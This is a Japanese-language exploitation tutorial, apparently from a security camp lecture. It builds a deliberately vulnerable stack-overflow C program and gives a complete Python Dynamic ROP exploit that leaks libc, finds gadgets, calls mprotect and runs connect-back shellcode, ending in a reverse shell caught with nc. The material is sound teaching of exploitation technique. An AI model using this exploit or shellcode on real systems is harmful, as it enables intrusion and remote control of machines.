Linux x64でDynamic ROPによるシェルコード実行をやってみる

ASLR+DEP+FullRELROが有効な環境で、Dynamic ROP(JIT-ROP)により任意のシェルコードを実行してみる。 これは、セキュリティ・キャンプ全国大会2015の講義にて行った演習に若干の修正を加えたものである。

環境

Ubuntu Server 14.04.2 64bit版

$ uname -a
Linux seccamp2015-d123 3.16.0-30-generic #40~14.04.1-Ubuntu SMP Thu Jan 15 17:43:14 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.2 LTS
Release:        14.04
Codename:       trusty

$ gcc --version
gcc (Ubuntu 4.8.4-2ubuntu1~14.04) 4.8.4

脆弱性のあるプログラムコードを書いてみる

単純なスタックバッファオーバーフロー脆弱性のあるプログラムコードを書くと次のようになる。

/* sbof.c */
#include <stdio.h>

void sbof()
{
    char buf[16];
    int bytes;
    bytes = read(0, buf, 400);
    write(1, buf, bytes);
}

int main(int argc, char *argv[])
{
    sbof();
    return 0;
}

ASLR、DEP、FullRELRO有効、SSP、PIE無効にてコンパイルする。

$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
$ gcc -fno-stack-protector -Wl,-z,relro,-z,now sbof2.c

16バイト以上の入力でスタックバッファオーバーフローが起こることを確認してみる。

$ ./a.out
AAAA
AAAA
$ ./a.out
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Segmentation fault

エクスプロイトコードを書いてみる

最初に、実行ファイルから必要となる情報を書き出しておく。

$ readelf -a a.out >dump.txt
$ objdump -M intel -d a.out >>dump.txt

「x64でDynamic ROPによるASLR+DEP+RELRO回避をやってみる」と同様の手順にて、任意のシェルコードを実行するエクスプロイトコードを書くと次のようになる。

# exploit.py
import struct
from subprocess import Popen, PIPE

bufsize = 16

addr_csu_init1 = 0x400636
addr_csu_init2 = 0x400620
addr_leave_ret = 0x4005bc
addr_got_read = 0x601020
addr_got_write = 0x601018
addr_got_libc_start = 0x601028
addr_bss = 0x0000000000601048

addr_stage = addr_bss + 0x400

p = Popen(['./sbof2'], stdin=PIPE, stdout=PIPE)

# stage 1
buf = 'A' * bufsize
buf += 'AAAAAAAA' * 3
buf += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_write, 8, addr_got_libc_start, 1)
buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 1, addr_got_read, 400, addr_stage, 0)
buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, addr_stage, 0, 0, 0, 0)
buf += struct.pack('<Q', addr_leave_ret)

p.stdin.write(buf)
print "> %r" % p.stdout.read(len(buf))
data = p.stdout.read(8)
addr_libc_start = struct.unpack('<Q', data)[0]
print "[+] addr_libc_start = %08x" % addr_libc_start

# stage 2
read_bytes = 0x180000

buf = 'AAAAAAAA'
buf += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_write, read_bytes, addr_libc_start, 1)
buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 1, addr_got_read, 400, addr_stage+400, 0)
buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, addr_stage+400, 0, 0, 0, 0)
buf += struct.pack('<Q', addr_leave_ret)
buf += 'A' * (400-len(buf))

p.stdin.write(buf)
data = p.stdout.read(read_bytes)
print "[+] len(data) = %x" % len(data)

# stage 3
addr_pop_rax = addr_libc_start + data.index('\x58\xc3')
addr_pop_rdi = addr_libc_start + data.index('\x5f\xc3')
addr_pop_rsi = addr_libc_start + data.index('\x5e\xc3')
addr_pop_rdx = addr_libc_start + data.index('\x5a\xc3')
addr_syscall = addr_libc_start + data.index('\x0f\x05\xc3')
nr_mprotect = 10

# connect-back shellcode (127.0.0.1:4444)
shellcode = '\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x68\x7f\x00\x00\x01\x66\x68\x11\x5c\x66\x6a\x02\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05'

buf = 'AAAAAAAA'
buf += struct.pack('<QQ', addr_pop_rax, nr_mprotect)
buf += struct.pack('<QQ', addr_pop_rdi, addr_stage & ~0xFFF)
buf += struct.pack('<QQ', addr_pop_rsi, 1024)
buf += struct.pack('<QQ', addr_pop_rdx, 7)
buf += struct.pack('<Q', addr_syscall)
buf += struct.pack('<Q', addr_stage+400+len(buf)+8)
buf += shellcode
buf += 'A' * (400-len(buf))

p.stdin.write(buf)
p.wait()

上のコードの内容を簡単に説明すると次のようになる。

  1. GOTにある__libc_start_main関数の実際のアドレスを書き出し、stack pivotを行う
  2. __libc_start_main関数の実際のアドレスから0x180000バイトを書き出し、stack pivotを行う
  3. 書き出したメモリからシステムコールを呼ぶのに必要なROP gadgetを探索し、mprotectシステムコールを実行する
  4. シェルコードにジャンプする

ここでは、シェルコードとして127.0.0.1:4444に対するconnect-back shellcodeを用いている。

なお、2で書き出すバイト数は、次のようにして推定できる。

$ ldd a.out
        linux-vdso.so.1 =>  (0x00007ffffea8e000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fdc2eada000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fdc2eea6000)

$ readelf -a /lib/x86_64-linux-gnu/libc.so.6
(snip)
Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  PHDR           0x0000000000000040 0x0000000000000040 0x0000000000000040
                 0x0000000000000230 0x0000000000000230  R E    8
  INTERP         0x0000000000187f30 0x0000000000187f30 0x0000000000187f30
                 0x000000000000001c 0x000000000000001c  R      10
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x00000000001ba014 0x00000000001ba014  R E    200000
  LOAD           0x00000000001ba740 0x00000000003ba740 0x00000000003ba740
                 0x0000000000005160 0x0000000000009b80  RW     200000
(snip)

$ nm -D -n /lib/x86_64-linux-gnu/libc.so.6 | grep __libc_start_main
0000000000021dd0 T __libc_start_main

$ python
Python 2.7.6 (default, Jun 22 2015, 17:58:13)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0x00000000001ba014-0x0000000000021dd0)
'0x198244'
>>> [CTRL+D]

readelfコマンドで表示されたプログラムヘッダの内容から、先頭から0x1ba014バイトが実行可能領域としてロードされることがわかる。 また、nmコマンドの実行結果から、__libc_start_main関数は先頭から0x21dd0バイトの位置にあることがわかる。 したがって、この場合__libc_start_main関数のアドレスから書き出すことができるバイト数は最大で0x198244バイトとなる。

エクスプロイトコードを実行してみる

あらかじめバックグラウンドでtcpの4444ポートをlistenした上で、エクスプロイトコードを実行してみる。

$ nc -v -l 4444 &
[1] 920

$ Listening on [0.0.0.0] (family 0, port 4444)
[ENTER]

$ python exploit3.py &
[2] 927

$ > 'AAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf0\x00\x00\x00AAAAAAAA6\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x18\x10`\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00(\x10`\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00 \x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00 \x10`\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00H\x14`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00H\x14`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\x05@\x00\x00\x00\x00\x00'
[+] addr_libc_start = 7fef6cfb9dd0
[+] len(data) = 180000
Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 33140)
[ENTER]

[1]+  Stopped                 nc -v -l 4444

$ fg 1
nc -v -l 4444
id
uid=1000(user) gid=1000(user) groups=1000(user)
exit
[2]-  Done                    python exploit.py

シェルコードが実行され、listenしていたポートからシェルが操作できることが確認できた。